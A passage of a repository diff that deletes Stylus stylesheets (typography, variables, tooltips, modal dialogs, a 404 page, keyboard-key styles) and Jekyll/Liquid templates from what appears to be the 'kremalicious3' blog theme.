.table-responsive
|
||||
overflow-x: auto
|
||||
min-height: 0.01% // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)
|
||||
|
||||
@media (max-width: $screen-xs-min)
|
||||
width: 100%
|
||||
margin-bottom: ($spacer * 0.75)
|
||||
overflow-y: hidden
|
||||
-webkit-overflow-scrolling: touch
|
||||
-ms-overflow-style: -ms-autohiding-scrollbar
|
||||
|
||||
// Tighten up spacing
|
||||
> table
|
||||
margin-bottom: 0
|
||||
|
||||
// Ensure the content doesn't wrap
|
||||
> thead,
|
||||
> tbody,
|
||||
> tfoot
|
||||
> tr
|
||||
> th,
|
||||
> td
|
||||
white-space: nowrap
|
||||
padding: .5em .2em
|
||||
@ -1,4 +0,0 @@
|
||||
|
||||
.tagcloud__tag
|
||||
@extend .link--nounderline
|
||||
padding: .3rem .5rem
|
||||
@ -1,52 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Tooltips
|
||||
//
|
||||
|
||||
// Base class
|
||||
.tooltip
|
||||
position: absolute
|
||||
z-index: 1000
|
||||
display: block
|
||||
// Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.
|
||||
// So reset our font and text properties to avoid inheriting weird values.
|
||||
font-family: $font-family-base
|
||||
// We deliberately do NOT reset font-size.
|
||||
font-style: normal
|
||||
font-weight: normal
|
||||
letter-spacing: normal
|
||||
line-break: auto
|
||||
line-height: $line-height
|
||||
text-align: left; // Fallback for where `start` is not supported
|
||||
text-align: start
|
||||
text-decoration: none
|
||||
text-shadow: none
|
||||
text-transform: none
|
||||
white-space: normal
|
||||
word-break: normal
|
||||
word-spacing: normal
|
||||
word-wrap: normal
|
||||
font-size: $font-size-mini
|
||||
|
||||
opacity: 0
|
||||
|
||||
&.in
|
||||
opacity: .8
|
||||
&.top
|
||||
margin-top: -1px
|
||||
&.right
|
||||
margin-left: 1px
|
||||
&.bottom
|
||||
margin-top: 1px
|
||||
&.left
|
||||
margin-left: -1px
|
||||
|
||||
// Wrapper for the tooltip content
|
||||
.tooltip-inner
|
||||
max-width: 120px
|
||||
padding: 4px 8px
|
||||
color: $tooltip-color
|
||||
text-align: center
|
||||
background-color: $tooltip-bg
|
||||
border-radius: $border-radius-base
|
||||
@ -1,321 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Typography
|
||||
//
|
||||
|
||||
|
||||
// Base
|
||||
/////////////////////////////////////
|
||||
|
||||
// Body reset
|
||||
html
|
||||
font-size: $font-size-root-xs
|
||||
|
||||
@media $screen-xs
|
||||
font-size: $font-size-root
|
||||
|
||||
@media $screen-lg
|
||||
font-size: $font-size-root-lg
|
||||
|
||||
body
|
||||
font-family: $font-family-base
|
||||
font-weight: $font-weight-base
|
||||
font-size: $font-size-base
|
||||
line-height: $line-height
|
||||
color: $font-color-base
|
||||
background: $body-bg
|
||||
|
||||
// handling long text, like URLs
|
||||
overflow-wrap: break-word
|
||||
word-wrap: break-word
|
||||
word-break: break-word
|
||||
|
||||
text-rendering: optimizeLegibility
|
||||
// Controversial! But prevents text flickering in
|
||||
// Safari/Firefox when animations are running
|
||||
-webkit-font-smoothing: antialiased
|
||||
-moz-osx-font-smoothing: grayscale
|
||||
-moz-font-feature-settings: 'liga', 'kern'
|
||||
|
||||
letter-spacing: -.01em
|
||||
|
||||
p,
|
||||
ul,
|
||||
ol
|
||||
margin: 0 0 $spacer
|
||||
|
||||
|
||||
// Reset fonts for relevant elements
|
||||
/////////////////////////////////////
|
||||
|
||||
input,
|
||||
button,
|
||||
select,
|
||||
textarea
|
||||
font-family: inherit
|
||||
font-size: inherit
|
||||
line-height: inherit
|
||||
|
||||
|
||||
// Headings
|
||||
/////////////////////////////////////
|
||||
|
||||
h1, h2, h3, h4, h5, h6,
|
||||
.h1, .h2, .h3, .h4, .h5, .h6
|
||||
font-family: $headings-font-family
|
||||
line-height: $headings-line-height
|
||||
color: $headings-color
|
||||
font-weight: 500
|
||||
letter-spacing: -.04em
|
||||
|
||||
h1, .h1,
|
||||
h2, .h2
|
||||
margin-top: ($spacer*2)
|
||||
margin-bottom: ($spacer*2)
|
||||
|
||||
h3, .h3
|
||||
h4, .h4,
|
||||
h5, .h5,
|
||||
h6, .h6
|
||||
margin-top: $spacer
|
||||
margin-bottom: $spacer
|
||||
|
||||
h1, .h1
|
||||
font-size: $font-size-h2
|
||||
@media $screen-xs
|
||||
font-size: $font-size-h1
|
||||
|
||||
h2, .h2
|
||||
font-size: $font-size-h3
|
||||
@media $screen-xs
|
||||
font-size: $font-size-h2
|
||||
|
||||
h3, .h3
|
||||
font-size: $font-size-h4
|
||||
@media $screen-xs
|
||||
font-size: $font-size-h3
|
||||
|
||||
h4, .h4
|
||||
font-size: $font-size-h5
|
||||
@media $screen-xs
|
||||
font-size: $font-size-h4
|
||||
|
||||
h5, .h5
|
||||
font-size: $font-size-h6
|
||||
@media $screen-xs
|
||||
font-size: $font-size-h5
|
||||
|
||||
h6, .h6
|
||||
font-size: $font-size-h6
|
||||
|
||||
|
||||
// Links
|
||||
/////////////////////////////////////
|
||||
|
||||
a,
|
||||
.link
|
||||
color: $link-color
|
||||
text-decoration: none
|
||||
transition: .2s ease-in-out
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
outline: 0
|
||||
color: $link-color-hover
|
||||
box-shadow: inset 0 -1px 0 rgba($link-color-hover, 70%)
|
||||
|
||||
&:active
|
||||
transition: none
|
||||
color: darken($link-color, 30%)
|
||||
box-shadow: inset 0 -1px 0 darken($link-color, 30%)
|
||||
|
||||
h1 &,
|
||||
h2 &,
|
||||
h3 &
|
||||
color: $headings-color
|
||||
|
||||
.link--nounderline
|
||||
&,
|
||||
&:hover,
|
||||
&:focus,
|
||||
&:active
|
||||
box-shadow: none
|
||||
|
||||
// Lists
|
||||
/////////////////////////////////////
|
||||
|
||||
ul,
|
||||
ol
|
||||
margin-top: 0
|
||||
margin-bottom: $spacer
|
||||
padding-left: ($spacer * 1.5)
|
||||
list-style: none
|
||||
|
||||
li
|
||||
position: relative
|
||||
&:before
|
||||
position: absolute
|
||||
left: -($spacer * 1.5)
|
||||
top: -1px
|
||||
color: $text-color-light
|
||||
user-select: none
|
||||
|
||||
ul
|
||||
li
|
||||
&:before
|
||||
content: " \2015" // horizontal bar: ― ―
|
||||
|
||||
ol
|
||||
counter-reset: ol-counter
|
||||
|
||||
li
|
||||
&:before
|
||||
content: counter(ol-counter)'.'
|
||||
counter-increment: ol-counter
|
||||
|
||||
ul li:before
|
||||
display: none
|
||||
|
||||
ul,
|
||||
ol
|
||||
ul,
|
||||
ol
|
||||
margin-bottom: 0
|
||||
|
||||
// List options
|
||||
// Unstyled keeps list items block level, just removes default browser padding and list-style
|
||||
list-unstyled()
|
||||
padding-left: 0
|
||||
list-style: none
|
||||
display: block
|
||||
|
||||
li:before
|
||||
display: none
|
||||
|
||||
.list-unstyled
|
||||
list-unstyled()
|
||||
|
||||
nav
|
||||
ul,
|
||||
ol
|
||||
@extend .list-unstyled
|
||||
|
||||
// Inline turns list items into inline-block
|
||||
.list-inline
|
||||
@extend .list-unstyled
|
||||
|
||||
> li
|
||||
display: inline-block
|
||||
padding-left: 5px
|
||||
padding-right: 5px
|
||||
|
||||
&:first-child
|
||||
padding-left: 0
|
||||
|
||||
|
||||
// Inline typography
|
||||
/////////////////////////////////////
|
||||
|
||||
p, li
|
||||
hyphens: auto
|
||||
|
||||
b,
|
||||
strong,
|
||||
.bold
|
||||
font-weight: 700
|
||||
font-style: normal
|
||||
|
||||
em,
|
||||
.italic
|
||||
font-style: italic
|
||||
|
||||
hr
|
||||
@extend .divider-bottom
|
||||
border-top: 0
|
||||
border-left: 0
|
||||
border-right: 0
|
||||
margin-bottom: ($spacer*2)
|
||||
|
||||
.large
|
||||
font-size: $font-size-large-xs
|
||||
@media $screen-xs
|
||||
font-size: $font-size-large
|
||||
|
||||
.small
|
||||
font-size: $font-size-small
|
||||
|
||||
.mini
|
||||
font-size: $font-size-mini
|
||||
|
||||
abbr[title],
|
||||
dfn
|
||||
text-transform: none
|
||||
font-style: normal
|
||||
font-size: inherit
|
||||
border-bottom: 1px dashed $brand-grey-dimmed
|
||||
cursor: help
|
||||
font-feature-settings: inherit
|
||||
|
||||
mark
|
||||
background: #FFFAAB
|
||||
color: $text-color
|
||||
|
||||
sup
|
||||
@extend .small
|
||||
|
||||
.text-dimmed
|
||||
color: $text-color-light
|
||||
|
||||
|
||||
// Quotes
|
||||
/////////////////////////////////////
|
||||
|
||||
q
|
||||
@extend .italic
|
||||
|
||||
cite
|
||||
font-style: normal
|
||||
text-transform: uppercase
|
||||
|
||||
blockquote,
|
||||
blockquote > p
|
||||
@extend .italic, .text-dimmed
|
||||
|
||||
blockquote
|
||||
padding-left: 25px
|
||||
margin: 0 0 $spacer
|
||||
position: relative
|
||||
padding-left: 20px
|
||||
|
||||
@media $screen-xs
|
||||
padding-left: 40px
|
||||
|
||||
@media $screen-lg
|
||||
padding-left: 60px
|
||||
|
||||
// quotation marks
|
||||
&:before
|
||||
content: "“"
|
||||
font-size: 300%
|
||||
color: lighten($text-color, 40%)
|
||||
position: absolute
|
||||
left: -10px
|
||||
top: -20px
|
||||
|
||||
@media $screen-xs
|
||||
left: 0
|
||||
|
||||
@media $screen-lg
|
||||
top: -30px
|
||||
|
||||
p:last-child
|
||||
margin-bottom: 0
|
||||
|
||||
|
||||
|
||||
// Selection
|
||||
/////////////////////////////////////
|
||||
|
||||
::-moz-selection { background: #2e4f5c; color: #fff; }
|
||||
::selection { background: #2e4f5c; color: #fff; }
|
||||
@ -1,166 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Global variables & settings
|
||||
//
|
||||
|
||||
|
||||
// Settings
|
||||
/////////////////////////////////////
|
||||
|
||||
vendors = official // Stylus' @keyframes settings
|
||||
|
||||
|
||||
// Asset Paths
|
||||
/////////////////////////////////////
|
||||
|
||||
$img-path = '/assets/img/'
|
||||
$font-path = '/assets/fonts/'
|
||||
|
||||
|
||||
// Colors
|
||||
/////////////////////////////////////
|
||||
|
||||
$brand-dark = #015565
|
||||
$brand-light = #e7eef4
|
||||
$brand-cyan = #43a699
|
||||
|
||||
$brand-grey = #6b7f88
|
||||
$brand-grey-light = lighten($brand-grey, 20%)
|
||||
$brand-grey-dimmed = lighten($brand-grey, 60%)
|
||||
|
||||
|
||||
// Text Colors
|
||||
/////////////////////////////////////
|
||||
|
||||
$text-color = $brand-grey
|
||||
$text-color-light = $brand-grey-light
|
||||
|
||||
|
||||
// Typography
|
||||
/////////////////////////////////////
|
||||
|
||||
$font-size-root-xs = 16px
|
||||
$font-size-root = 18px
|
||||
$font-size-root-lg = 20px
|
||||
|
||||
$font-size-base = 1rem
|
||||
$font-size-large-xs = 1.15rem
|
||||
$font-size-large = 1.45rem
|
||||
$font-size-small = 0.8rem
|
||||
$font-size-mini = 0.6rem
|
||||
|
||||
$font-size-h1 = 3rem
|
||||
$font-size-h2 = 2rem
|
||||
$font-size-h3 = 1.75rem
|
||||
$font-size-h4 = $font-size-large
|
||||
$font-size-h5 = $font-size-base
|
||||
$font-size-h6 = $font-size-small
|
||||
|
||||
$line-height = 1.5
|
||||
$line-height-large = 1.4
|
||||
$line-height-small = 1.1428571429
|
||||
|
||||
$font-family-base = 'ff-tisa-sans-web-pro', 'Trebuchet MS', 'Helvetica Neue', Helvetica, Arial, sans-serif
|
||||
$font-weight-base = 400
|
||||
$font-color-base = $text-color
|
||||
|
||||
$font-family-monospace = Menlo, Monaco, Consolas, 'Courier New', monospace
|
||||
|
||||
$headings-font-family = 'brandon-grotesque', 'Avenir Next', 'Helvetica Neue',Helvetica,Arial,sans-serif
|
||||
$headings-font-weight = 500 // Medium
|
||||
$headings-line-height = 1.1
|
||||
$headings-color = $brand-dark
|
||||
|
||||
|
||||
// Scaffolding
|
||||
/////////////////////////////////////
|
||||
|
||||
$body-bg = #dfe8ef
|
||||
$page-bg = $brand-light
|
||||
|
||||
|
||||
// Links
|
||||
/////////////////////////////////////
|
||||
|
||||
$link-color = $brand-cyan
|
||||
$link-color-hover = lighten($link-color, 15%)
|
||||
|
||||
|
||||
// Grid
|
||||
/////////////////////////////////////
|
||||
|
||||
$gutter-space = $spacer
|
||||
|
||||
// Components spacing
|
||||
/////////////////////////////////////
|
||||
|
||||
$spacer = ($font-size-base * $line-height)
|
||||
|
||||
$border-radius-base = 3px
|
||||
$border-radius-small = $border-radius-base
|
||||
$border-radius-large = $border-radius-base
|
||||
|
||||
$padding-base-vertical = 8px
|
||||
$padding-base-horizontal = 12px
|
||||
|
||||
$padding-small-vertical = ($padding-base-vertical / 2)
|
||||
$padding-small-horizontal = ($padding-base-horizontal / 2)
|
||||
|
||||
$padding-large-vertical = ($padding-base-vertical * 2)
|
||||
$padding-large-horizontal = ($padding-base-horizontal * 2)
|
||||
|
||||
|
||||
// Forms
|
||||
/////////////////////////////////////
|
||||
|
||||
$input-bg = alpha(#fff, .85)
|
||||
$input-bg-focus = #fff
|
||||
$input-bg-disabled = $brand-grey-light
|
||||
|
||||
$input-font-size = $font-size-base
|
||||
$input-font-weight = $font-weight-base
|
||||
|
||||
$input-color = $font-color-base
|
||||
$input-color-placeholder = rgba(46, 79, 92, .3)
|
||||
|
||||
$input-border = $brand-grey-light
|
||||
$input-border-radius = $border-radius-base
|
||||
$input-border-focus = $brand-cyan
|
||||
|
||||
|
||||
// Code
|
||||
/////////////////////////////////////
|
||||
|
||||
$code-bg = #343642
|
||||
$code-color = $brand-light
|
||||
$kbd-bg = $code-bg
|
||||
$kbd-color = $code-color
|
||||
|
||||
|
||||
// Responsive breakpoints
|
||||
/////////////////////////////////////
|
||||
|
||||
$screen-xs-min = 30em
|
||||
$screen-sm-min = 40.625em
|
||||
$screen-md-min = 60em
|
||||
$screen-lg-min = 87.500em
|
||||
|
||||
$screen-xs = 'only screen and (min-width: 30em)'
|
||||
$screen-sm = 'only screen and (min-width: 40.625em)'
|
||||
$screen-md = 'only screen and (min-width: 60em)'
|
||||
$screen-lg = 'only screen and (min-width: 87.500em)'
|
||||
|
||||
|
||||
// High dpi media query
|
||||
/////////////////////////////////////
|
||||
|
||||
$highDPI = 'print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) '
|
||||
$highDPI_3x = 'print, (-webkit-min-device-pixel-ratio: 3), (min-resolution: 344dpi) '
|
||||
|
||||
|
||||
// Tooltips
|
||||
/////////////////////////////////////
|
||||
|
||||
$tooltip-color = #fff
|
||||
$tooltip-bg = darken($brand-dark, 15%)
|
||||
@ -1,121 +0,0 @@
|
||||
.vex,
|
||||
.vex *,
|
||||
.vex *:before,
|
||||
.vex *:after
|
||||
box-sizing: border-box
|
||||
|
||||
.vex
|
||||
position: fixed
|
||||
overflow: auto
|
||||
-webkit-overflow-scrolling: touch
|
||||
z-index: 1111
|
||||
top: 0
|
||||
right: 0
|
||||
bottom: 0
|
||||
left: 0
|
||||
|
||||
.vex-scrollbar-measure
|
||||
position: absolute
|
||||
top: -9999px
|
||||
width: 50px
|
||||
height: 50px
|
||||
overflow: scroll
|
||||
|
||||
.vex-content
|
||||
animation: vex-fadein .3s
|
||||
background: #fff
|
||||
|
||||
.vex.vex-closing &
|
||||
animation: vex-fadeout .2s
|
||||
|
||||
.vex-dialog-form
|
||||
margin: 0 // Browser reset
|
||||
|
||||
.vex-dialog-button
|
||||
text-rendering: optimizeLegibility
|
||||
appearance: none
|
||||
cursor: pointer
|
||||
-webkit-tap-highlight-color: transparent
|
||||
|
||||
// Prevent background scrolling when vex is open
|
||||
// https://github.com/HubSpot/vex/issues/18
|
||||
body.vex-open
|
||||
overflow: hidden
|
||||
|
||||
|
||||
//
|
||||
// Custom theme
|
||||
//
|
||||
.vex-theme-kremalicious
|
||||
display: flex
|
||||
align-items: center
|
||||
justify-content: center
|
||||
background: alpha($body-bg, .9)
|
||||
backdrop-filter: blur(5px)
|
||||
animation: vex-fadein .3s
|
||||
|
||||
.vex.vex-closing &
|
||||
animation: vex-fadeout .3s
|
||||
|
||||
.vex-content
|
||||
background: transparent
|
||||
padding: 0
|
||||
position: relative
|
||||
width: 100%
|
||||
max-width: $screen-xs-min
|
||||
border-radius: $border-radius-base
|
||||
border: 1px solid alpha($brand-grey-light, .4)
|
||||
box-shadow: 0 5px 30px alpha($brand-grey-light, .2)
|
||||
padding: 0 $spacer
|
||||
|
||||
.vex__title
|
||||
@extend .h4
|
||||
margin-top: ($spacer/2)
|
||||
margin-left: -($spacer)
|
||||
margin-right: -($spacer)
|
||||
border-bottom: 1px solid alpha($brand-grey-light, .4)
|
||||
padding-bottom: ($spacer/2)
|
||||
|
||||
.vex-dialog-buttons
|
||||
margin-top: $spacer
|
||||
border-top: 1px solid alpha($brand-grey-light, .4)
|
||||
padding-top: ($spacer/2)
|
||||
|
||||
.vex-dialog-button
|
||||
@extend .btn
|
||||
|
||||
.vex-dialog-button-primary
|
||||
@extend .btn-primary
|
||||
|
||||
.vex-close
|
||||
@extend .close
|
||||
position: absolute
|
||||
top: ($spacer/4)
|
||||
right: ($spacer/2)
|
||||
|
||||
&:before
|
||||
@extend .close
|
||||
content: "\00D7" // ×
|
||||
display: block
|
||||
color: $brand-grey
|
||||
font-weight: 500
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
&:before
|
||||
color: $link-color
|
||||
|
||||
//
|
||||
// Overlay/content animations
|
||||
//
|
||||
@keyframes vex-fadein
|
||||
0%
|
||||
opacity: 0
|
||||
100%
|
||||
opacity: 1
|
||||
|
||||
@keyframes vex-fadeout
|
||||
0%
|
||||
opacity: 1
|
||||
100%
|
||||
opacity: 0
|
||||
@ -1,68 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Page - 404
|
||||
//
|
||||
|
||||
.page-404
|
||||
@extend .textcenter
|
||||
|
||||
.entry-title
|
||||
@extend .hide
|
||||
|
||||
.srverror-title
|
||||
font-size: 2em
|
||||
margin-bottom: ($spacer/4)
|
||||
color: $text-color-light
|
||||
|
||||
.srverror-text
|
||||
@extend .text-dimmed
|
||||
font-size: 1.2em
|
||||
letter-spacing: .01em
|
||||
|
||||
// HAL needs a size
|
||||
$hal-size = 72px
|
||||
|
||||
.hal-9000
|
||||
@extend .textcenter, .aligncenter
|
||||
width: $hal-size
|
||||
height: $hal-size
|
||||
border-radius: $hal-size
|
||||
background: #444
|
||||
padding: 1.5em
|
||||
margin-top: $spacer
|
||||
margin-bottom: $spacer
|
||||
position: relative
|
||||
border: 4px solid #ccc
|
||||
box-shadow: inset 0 0 10px #000
|
||||
|
||||
// eye
|
||||
&:before
|
||||
content: ""
|
||||
width: 100%
|
||||
height: 100%
|
||||
border-radius: 100%
|
||||
display: block
|
||||
background: red
|
||||
box-shadow: 0 0 5px red, 0 0 10px red, 0 0 15px red, 0 0 20px red, 0 0 25px red, 0 0 30px red, 0 0 40px red
|
||||
animation: halpulse 7s infinite
|
||||
|
||||
// gloss
|
||||
&:after
|
||||
content: ""
|
||||
position: absolute
|
||||
width: $hal-size
|
||||
height: $hal-size
|
||||
border-radius: $hal-size
|
||||
position: absolute
|
||||
left: 0
|
||||
top: 0
|
||||
background-image: linear-gradient(135deg, rgba(255,255,255,0.07) 0%,rgba(255,255,255,0.07) 40%,rgba(255,255,255,0) 41%)
|
||||
|
||||
@keyframes halpulse
|
||||
0%
|
||||
opacity: 1
|
||||
50%
|
||||
opacity: .6
|
||||
100%
|
||||
opacity: 1
|
||||
@ -1,52 +0,0 @@
|
||||
|
||||
//
|
||||
// Colors
|
||||
//
|
||||
.color__swatch
|
||||
padding: $spacer
|
||||
border: 1px solid $brand-grey-dimmed
|
||||
margin-bottom: ($spacer / 3)
|
||||
border-radius: $border-radius-large
|
||||
|
||||
.color__name,
|
||||
.color__hex
|
||||
@extend .small
|
||||
font-family: $font-family-monospace
|
||||
display: block
|
||||
|
||||
// colors
|
||||
.brand-dark
|
||||
background: $brand-dark
|
||||
|
||||
.brand-light
|
||||
background: $brand-light
|
||||
|
||||
.brand-cyan
|
||||
background: $brand-cyan
|
||||
|
||||
.brand-grey
|
||||
background: $brand-grey
|
||||
|
||||
.brand-grey-light
|
||||
background: $brand-grey-light
|
||||
|
||||
.brand-grey-dimmed
|
||||
background: $brand-grey-dimmed
|
||||
|
||||
//
|
||||
// Fonts
|
||||
//
|
||||
|
||||
.font__name
|
||||
font-size: 5vw
|
||||
|
||||
.font__name--brandon
|
||||
font-family: $headings-font-family
|
||||
line-height: $headings-line-height
|
||||
color: $headings-color
|
||||
font-weight: $headings-font-weight
|
||||
|
||||
.font__name--fftisa
|
||||
font-family: $font-family-base
|
||||
color: $text-color
|
||||
font-weight: $font-weight-base
|
||||
@ -1,67 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
//
|
||||
//
|
||||
|
||||
|
||||
// Normalize all the things
|
||||
@import '../../../node_modules/normalize-css/normalize.css'
|
||||
@import '../../../node_modules/normalize-opentype.css/normalize-opentype.css'
|
||||
|
||||
// Core variables and mixins
|
||||
@import '_kremalicious/variables'
|
||||
@import '_kremalicious/mixins'
|
||||
|
||||
// Core CSS
|
||||
@import '_kremalicious/typography'
|
||||
@import '_kremalicious/animations'
|
||||
@import '_kremalicious/grid'
|
||||
@import '_kremalicious/layout'
|
||||
@import '_kremalicious/forms'
|
||||
@import '_kremalicious/buttons'
|
||||
@import '_kremalicious/icons'
|
||||
@import '_kremalicious/media'
|
||||
@import '_kremalicious/tables'
|
||||
@import '_kremalicious/code'
|
||||
@import '_kremalicious/syntax'
|
||||
@import '_kremalicious/alerts'
|
||||
@import '_kremalicious/vex'
|
||||
|
||||
// Content
|
||||
@import '_kremalicious/content'
|
||||
@import '_kremalicious/content-photo'
|
||||
@import '_kremalicious/content-link'
|
||||
@import '_kremalicious/content-featured'
|
||||
@import '_kremalicious/content-related'
|
||||
|
||||
// Components
|
||||
@import '_kremalicious/header'
|
||||
@import '_kremalicious/navigation'
|
||||
@import '_kremalicious/hamburger'
|
||||
@import '_kremalicious/search'
|
||||
@import '_kremalicious/tooltips'
|
||||
@import '_kremalicious/footer'
|
||||
@import '_kremalicious/actions'
|
||||
@import '_kremalicious/tagcloud'
|
||||
|
||||
// Pages
|
||||
@import '_page-404'
|
||||
@import '_page-styleguide'
|
||||
|
||||
|
||||
// Print
|
||||
@import '_kremalicious/print'
|
||||
|
||||
.coinhive
|
||||
position: fixed
|
||||
bottom: 0
|
||||
right: 0
|
||||
z-index: 3
|
||||
font-size: $font-size-mini
|
||||
padding: ($spacer / 5) ($spacer / 2)
|
||||
background: rgba($page-bg, .5)
|
||||
border-top-left-radius: 4px
|
||||
|
||||
.coinhive__hashrate
|
||||
opacity: .6
|
||||
@ -1,71 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// kbdfun
|
||||
//
|
||||
|
||||
@import '_kremalicious/variables'
|
||||
|
||||
kbd
|
||||
font-size: 18px
|
||||
color: #444444
|
||||
font-family: "Lucida Grande", Lucida, Verdana, sans-serif
|
||||
font-weight: normal
|
||||
font-style: normal
|
||||
text-align: center
|
||||
line-height: 1em
|
||||
text-shadow: 0 1px 0 #fff
|
||||
display: inline
|
||||
padding: .3em .55em
|
||||
border-radius: 6px
|
||||
background-clip: padding-box
|
||||
border: 1px solid #bbb
|
||||
background-color: #f7f7f7
|
||||
background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0))
|
||||
background-repeat: repeat-x
|
||||
box-shadow: 0px 2px 0 #bbbbbb, 0 3px 1px #999999, 0 3px 0 #bbbbbb, inset 0 1px 1px #ffffff, inset 0 -1px 3px #cccccc
|
||||
|
||||
kbd.dark
|
||||
color: #eeeeee
|
||||
text-shadow: 0 -1px 0 #000000
|
||||
border-color: #000
|
||||
background-color: #4d4c4c
|
||||
background-image: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0))
|
||||
background-repeat: no-repeat
|
||||
box-shadow: 0px 2px 0 #000000, 0 3px 1px #999999, inset 0 1px 1px #aaaaaa, inset 0 -1px 3px #272727
|
||||
|
||||
kbd.ios
|
||||
font-family: Helvetica, "Helvetica Neue", Arial, sans-serif
|
||||
color: #000
|
||||
border-color: rgba(0, 0, 0, 0.6)
|
||||
border-top-color: rgba(0, 0, 0, 0.4)
|
||||
background-color: #b7b7bc
|
||||
background-image: linear-gradient(to bottom, #efeff0, #b7b7bc)
|
||||
background-repeat: repeat-x
|
||||
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.6), 0 2px 3px rgba(0, 0, 0, 0.1), inset 0 1px 0 #ffffff
|
||||
|
||||
kbd.android
|
||||
font-family: 'RobotoRegular', "Helvetica Neue", Helvetica, Arial, sans-serif
|
||||
color: #ffffff
|
||||
text-shadow: none
|
||||
padding: .3em
|
||||
border: 1px solid rgba(0, 0, 0, 0.05)
|
||||
border-radius: 3px
|
||||
background-clip: padding-box
|
||||
background: #5e5e5e
|
||||
box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3), 0 1px 0 #444444, inset 0 1px 0 #868686
|
||||
|
||||
kbd.android.dark
|
||||
background: #222222
|
||||
box-shadow: 0 2px 2px rgba(0, 0, 0, 0.7), 0 1px 0 #444444, inset 0 1px 0 #505050
|
||||
|
||||
kbd.android.color
|
||||
background: #083c5b
|
||||
box-shadow: 0 2px 2px rgba(0, 0, 0, 0.7), 0 1px 0 #444444, inset 0 1px 0 #36647b
|
||||
|
||||
@font-face
|
||||
font-family: 'RobotoRegular'
|
||||
src: url('../fonts/Roboto-Regular-webfont.eot')
|
||||
src: url('../fonts/Roboto-Regular-webfont.eot?#iefix') format('embedded-opentype'), url('../fonts/Roboto-Regular-webfont.woff') format('woff'), url('../fonts/Roboto-Regular-webfont.ttf') format('truetype'), url('../fonts/Roboto-Regular-webfont.svg#RobotoRegular') format('svg')
|
||||
font-weight: normal
|
||||
font-style: normal
|
||||
@ -1,14 +0,0 @@
|
||||
|
||||
- name: brand-dark
|
||||
hex: '015565'
|
||||
- name: brand-light
|
||||
hex: 'e7eef4'
|
||||
- name: brand-cyan
|
||||
hex: '3a9085'
|
||||
|
||||
- name: brand-grey
|
||||
hex: '6b7f88'
|
||||
- name: brand-grey-light
|
||||
hex: '96a6ad'
|
||||
- name: brand-grey-dimmed
|
||||
hex: 'D8E0E5'
|
||||
@ -1,23 +0,0 @@
|
||||
|
||||
<aside class="actions">
|
||||
<div class="grid grid--gutters grid--full grid-small--half">
|
||||
<div class="grid__col">
|
||||
<article class="action twitter">
|
||||
<svg class="icon icon-twitter">
|
||||
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
|
||||
</svg>
|
||||
<h1 class="action__title">Have a comment?</h1>
|
||||
<p class="action__text">Hit me up <a href="https://twitter.com/intent/tweet?text=@kremalicious&url={{ site.url }}{{ page.url }}">@{{ site.author.twitter }}</a></p>
|
||||
</article>
|
||||
</div>
|
||||
<div class="grid__col">
|
||||
<article class="action donate">
|
||||
<svg class="icon icon-bitcoin">
|
||||
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
|
||||
</svg>
|
||||
<h1 class="action__title">Found something useful?</h1>
|
||||
<p class="action__text">Say thanks <a href="#" class="js-vex-btc">with Bitcoins or Ether.</a></p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
@ -1,108 +0,0 @@
|
||||
|
||||
{% if post.layout == "link" %}
|
||||
|
||||
<article class="hentry format-link">
|
||||
<header class="entry-header">
|
||||
<h1 class="entry-title">
|
||||
<a href="{{ post.linkurl }}" title="Go to source: {{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' }}">
|
||||
{{ post.title | titlecase }}
|
||||
<svg class="icon icon-forward">
|
||||
<use xlink:href="/assets/img/sprite.svg#forward"></use>
|
||||
</svg>
|
||||
<span class="linkurl">{{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' | split:'/' | first }}</span>
|
||||
</a>
|
||||
</h1>
|
||||
</header>
|
||||
|
||||
<section class="entry-content">
|
||||
{{ post.content }}
|
||||
<p>
|
||||
<a class="more-link" href="{{ post.linkurl }}">Go to source
|
||||
<svg class="icon icon-forward">
|
||||
<use xlink:href="/assets/img/sprite.svg#forward"></use>
|
||||
</svg>
|
||||
</a>
|
||||
<a class="permalink-link" href="{{ post.url }}" data-toggle="tooltip" title="Permalink">
|
||||
<svg class="icon icon-infinity">
|
||||
<use xlink:href="/assets/img/sprite.svg#infinity"></use>
|
||||
</svg>
|
||||
</a>
|
||||
</p>
|
||||
</section>
|
||||
</article>
|
||||
|
||||
{% elsif post.layout == "photo" %}
|
||||
|
||||
<article class="hentry format-photo">
|
||||
|
||||
<a class="photo-link" href="{{ post.url }}">
|
||||
<figure class="hentry__teaser hmedia">
|
||||
|
||||
{% include picture.html size='phototeaser' %}
|
||||
|
||||
<figcaption class="entry-title fn">{{ post.title | titlecase }}</figcaption>
|
||||
</figure>
|
||||
</a>
|
||||
|
||||
</article>
|
||||
|
||||
{% else %}
|
||||
|
||||
<article class="hentry format-post">
|
||||
<header class="entry-header">
|
||||
<h1 class="entry-title"><a href="{{ post.url }}">{{ post.title | titlecase }}</a></h1>
|
||||
</header>
|
||||
|
||||
<section class="entry-content">
|
||||
|
||||
{% if post.image %}
|
||||
<a class="hentry__teaser hentry__teaser--link" href="{{ post.url }}">
|
||||
{% include picture.html %}
|
||||
</a>
|
||||
{% endif %}
|
||||
|
||||
{% capture has_more %}{{ post.content | has_excerpt }}{% endcapture %}
|
||||
|
||||
